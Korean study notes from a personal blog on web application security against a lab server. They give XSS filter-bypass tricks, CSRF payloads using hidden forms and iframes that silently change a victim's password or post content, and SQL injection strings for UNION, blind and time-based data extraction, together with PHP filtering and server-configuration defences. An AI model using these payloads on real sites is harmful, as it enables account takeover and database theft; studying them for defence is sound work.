kjh00n의 기록저장소
어플리케이션 보안 운영 본문
HTML 태그 종류 | |
title 태그 | 브라우저의 탭이나 툴바에 출력되는 제목을 설정 |
meta 태그 | 실제 화면에 출력되지는 않지만 문서의 설명, 작성자, 인코딩, 속성 정보 등의 특정 설정을 지정하는 태그 |
br 태그 | 줄 바꿈 태그 |
p 태그 | 문서 안에 내용의 단락을 정의하는 태그 |
form 태그 | 사용자 입력을 수집하여 처리, 사용하는 태그 action = 사용자 입력값을 어느 HTML문서에 전달할지 설정 method = 사용자가 입력한 값을 서버에 전달할 때 어떤 method로 요청할지 결정 enctype = 사용자가 입력한 값을 어떻게 인코딩하여 서버에게 전달할지 결정하는 값 name = 서버에게 전달할 전체 양식의 이름을 지정 |
input 태그 | 사용자에게 원하는 타입의 데이터를 입력받는 태그 ① type → 데이터의 타입 지정 ② name → 데이터의 이름 지정 ③ value → 데이터의 기본 값 지정 ④ maxlength → 데이터의 최대 크기 제한 ● type 속성의 속성값 종류 ① text → 문자열 입력→ ID와 PW를 설정할 때는 구분해줘야 하기 때문에 name="ID" 이런 형식으로 설정해줘야 된다. ② password → 문자열 입력(화면에 출력X) ③ number → 숫자 입력(min, max 속성을 같이 사용 가능) ④ date → 날짜 입력 ⑤ datetime-local → 날짜와 시간을 같이 입력 ⑥ color → 색상 입력 ⑦ file → 파일 업로드 ⑧ button → 버튼 생성 (value를 이용한 버튼 이름 지정) ⑨ reset → reset 버튼 생성 (form 태그 안에서 입력했던 모든 사용자 입력값을 삭제) ⑩ submit → 전송 버튼 생성 (form 태그 안에서 입력했던 모든 사용자 입력값을 실제로 전송한다) → form 태그 속성 중 action 속성에 정의된 페이지로 요청 ⑪ hidden → 화면에 출력하지 않는 태그 |
XSS 필터링 | XSS 우회 |
str_replace("검색할 문자열","변경 후 문자열","원본데이터") | 대문자 사용 |
str_replace = 대소문자 구분하지 않음 | 반복 입력 (<scr<script>ipt>) |
반복문으로 입력 while(strrpos($b_cont,"<script>",0)) {
$b_cont=str_ireplace("<script>","","$b_cont");
} # 글 내용에 <script> 태그가 있으면 삭제
while(preg_match("/<script>/i",$b_cont)) {
$b_cont=str_ireplace("<script>","","$b_cont");
} # 글 내용에 <script> 태그가 있으면 삭제
// 사이에 있는 문자열 찾겠다.i는 대소문자 구분 X |
띄어쓰기 사용 <script > |
공백을 포함하여 검색과 필터링을 같이 수행 while(preg_match("/<script *>/i",$b_cont)) {
$b_cont=preg_replace("/<script *>/i","","$b_cont");
} # 글 내용에 <script> 태그가 있으면 삭제
<script *> → *의 앞에 문자인 공백이 있던 없던 여러개 있어도 상관없이 검색하겠다는 의미 preg_replace → 정규표현식으로 필터링 |
속성 사용 ● <script type="text/javascript">alert("hello");</script> 줄바꿈 ● <script >alert("hello");</script> |
while(preg_match("/<script.*?>/is",$b_cont)) {
$b_cont=preg_replace("/<script.*?>/is","","$b_cont");
} # 글 내용에 <script> 태그가 있으면 삭제
.*? = 모든 데이터를 매칭(데이터가 없어도 매칭) /is = i는 대소문자 구분 없이, s는 줄바꿈문자도 매칭 |
|
while(preg_match("/<script.*?>.*?<\/script.*?>/is",$b_cont)) {
$b_cont=preg_replace("/<script.*?>.*?<\/script.*?>/is","","$b_cont");
} # 글 내용에 <script> 태그가 있으면 삭제
|
|
htmlspecialchars(원본데이터);
→ html 인코딩해주는 함수 → html에서 사용하는 메타 문자들을 전부 일반 문자로 변환 → 태그로 입력한 공격 코드가 태그로 인식 안되고 일반 문자로 인식된다. → 다른 태그들도 못 쓰게 되서 잘 사용하지 않음 |
|
strip_tags(원본데이터,태그);
→ 지정한 태그를 제외한 나머지 태그들을 삭제하는 함수 → 관리자가 허용하는 태그만 사용하고 나머지 태그들은 사용 불가능 |
CSRF |
<script src ="http://192.168.50.50/member/nick_change.php?nick=바부멍충이" width="0" height="0"></script> |
<img src="http://192.168.50.50/member/nick_change.php?nick=똥멍충이" width="0" height="0"></img> |
<iframe src="http://192.168.50.50/member/nick_change.php?nick=멍충멍충" width="0" height="0"></iframe> |
<form method="post" action="/member/info_change.php"> <input type="hidden" name="user_pw1" value="123456"> <input type="hidden" name="user_pw2" value="123456"> <input type="hidden" name="age" value="10"> <input type="hidden" name="nick" value="바보"> <input type="hidden" name="email" value="바보@바보.com"> <input type="submit" value="이벤트 당첨"> </form> → 입력칸들은 숨기고 이벤트 당첨 제출 버튼만 남겨놓기 → 페이지는 유지안됨 |
<iframe name=”i” width=”0” height=”0” style="display:none;"></iframe> <form target=”i” id="hack" method="post" action="/member/info_change.php"> <input type="hidden" name="user_pw1" value="123456"> <input type="hidden" name="user_pw2" value="123456"> <input type="hidden" name="age" value="10"> <input type="hidden" name="nick" value="바보"> <input type="hidden" name="email" value="바보@바보.com"> </form> <script>document.getElementById("hack").submit()</script> → 페이지도 유지하면서 닉변 |
<iframe name="i" width="0" height="0" sandbox></iframe> #내가 만든 게시글 출력 <form target="i" id="hack" method="post" action="/board/board_write_ok.php" enctype="multipart/form-data"> <input type="hidden" name="name" value="root"> <input type="hidden" name="pw" value="1234"> <input type="hidden" name="email" value="root@kh.com"> <input type="hidden" name="sub" value="[필독] 공지사항"> <input type="hidden" name="tag" value="T"> <input type="hidden" name="cont" value="우리 사이트 서비스 종료되었음을 알리며, 모두 탈퇴 요청합니다. 감사합니다."> <input type="file" name="att_file" style="display:none;"> </form> <script>document.getElementById("hack").submit()</script> #게시글 클릭하면 게시글 자동 생성 → sandbox를 사용하면 경고창이 차단된다 → 게시글 클릭하면 위 내용들로 작성된 글이 자동으로 등록된다 |
보안 |
if($_SERVER["HTTP_REFERER"] != "http:/192.168.50.50/member/nick.php")를 사용하기 |
SQL Injection | |
Injection Vector에 ' or '1을 입력하기 | select * from member where u_id='' and u_pw=''; 인데 [ ' or '1 ] 문구를 대입해보면 → select * from member where u_id='' or '1' and u_pw='' or '1'; 이라는 SQL문이 생성됨 |
Injection Vector에 # 사용하기 | # 은 MariaDB의 주석 기호이다. select * from member where u_id='' or '1' #' and u_pw='hello'; → # 뒤에 있는 값들은 전부 주석처리되서 작용한다 |
Non Blind SQL Injection | |
http://192.168.50.50/board/board_view.php?num=40인 게시글에 union select 1,2,3,4,5,6,7,8,9,10,11 #을 추가로 입력 |
→ 이러면 페이지가 정상 출력된다 |
http://192.168.50.50/board/board_view.php?num=2 -1 union select 1,2,3,4,5,6,7,8,9,10,11 # 으로 입력 | → 이러면 페이지에 숫자들이 적혀서 출력된다 |
http://192.168.50.50/board/board_view.php?num=2 에다가 order by 1 #을 붙여서 입력 출력이 되네? 그러면 order by 12 #으로 하면 게시글 출력이 안됨 그럼 order by 11 #으로 하니까 출력이 되네? |
→ 이 게시글의 컬럼 수는 11개라는 것을 알아낼 수 있었다. |
-1 union select 1,2,3,4,database(),version(),7,8,9,10,11 # | database() = DB의 이름 출력 version() = DB의 버전 출력 |
-1 union select 1,2,3,4,table_schema,table_name,7,8,9,10,11 from information_schema.tables where table_schema='WebTest' # | Table의 정보가 저장된 Table → information_schema.tables tables에서 Table 이름이 저장된 컬럼 → table_name tables에서 DB의 이름이 저장된 컬럼 → table_schema |
-1 union select 1,2,3,4,5,column_name,7,8,9,10,11 from information_schema.columns where table_name='board' # |
컬럼명 조회하기 |
Blind SQL Injection | |
' or ascii(substr(database(),1,1)) >= 97 # → 거짓 ' or ascii(substr(database(),1,1)) >= 65 # → 거짓 ' or ascii(substr(database(),1,1)) > 77 # → 참 ' or ascii(substr(database(),1,1)) > 84 # → 참 ' or ascii(substr(database(),1,1)) > 87 # → 거짓 ' or ascii(substr(database(),1,1)) > 85 # → 거짓 ' or ascii(substr(database(),1,1)) > 86 # → 거짓 ' or ascii(substr(database(),1,1)) > 87 # → 참 |
이런식으로 한글자씩 알아가야된다 97은 a 65는 A 49는 1 33~47은 특수문자 |
' or ascii(substr((select table_name from information_schema.tables where table_schema='WebTest' limit 0,1),1,1)) >= 97 # | WebTest DB의 첫번째 Table의 글자 찾기 (board 테이블) |
' or ascii(substr((select column_name from information_schema.columns where table_schema='WebTest' and table_name='member' limit 0,1),1,1)) = 110 # → 참('n') | 원하는 DB의 원하는 Table의 첫번째 Column의 이름을 알아내는 공격 |
' or ascii(substr((select u_id from member where no=1)1,1)) >= 97 # → 참(소문자) | 원하는 DB의 원하는 Table의 원하는 데이터를 알아내기 |
-1 union select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11 from information_schema.tables where table_schema='WebTest' # | 2. 여러 행에서 출력되는 같은 컬럼의 데이터를 한번에 붙여서 출력 ● group_concat(이름) |
Time Based SQL Injection | |
' or ascii(substr(database(),1,1)) >= 97 and sleep(3) # → 거짓 ' or ascii(substr(database(),1,1)) >= 65 and sleep(3) # → 거짓 |
Directory Listing | |
http://192.168.50.50/member/ | 라고 입력하면 member에 있는 모든 PHP파일들이 화면에 출력된다 |
보안 | |
vim /etc/httpd/conf/httpd.conf에서 149번째 줄인 Options Indexes FollowSymLinks에서 Indexes 없애기 |
File Download | |
보안 | |
$file_name=str_ireplace("../","",$file_name); | |
File Upload | |
보안 | |
board_write_ok.php 파일에 설정 ↓ # 파일 확장자 검사
if(preg_match("/.php|.html|.php3|.phtml/i",$f_name)) {
echo "<script>
alert('올바르지 않은 파일입니다');
history.back();
</script>";
exit();
}
|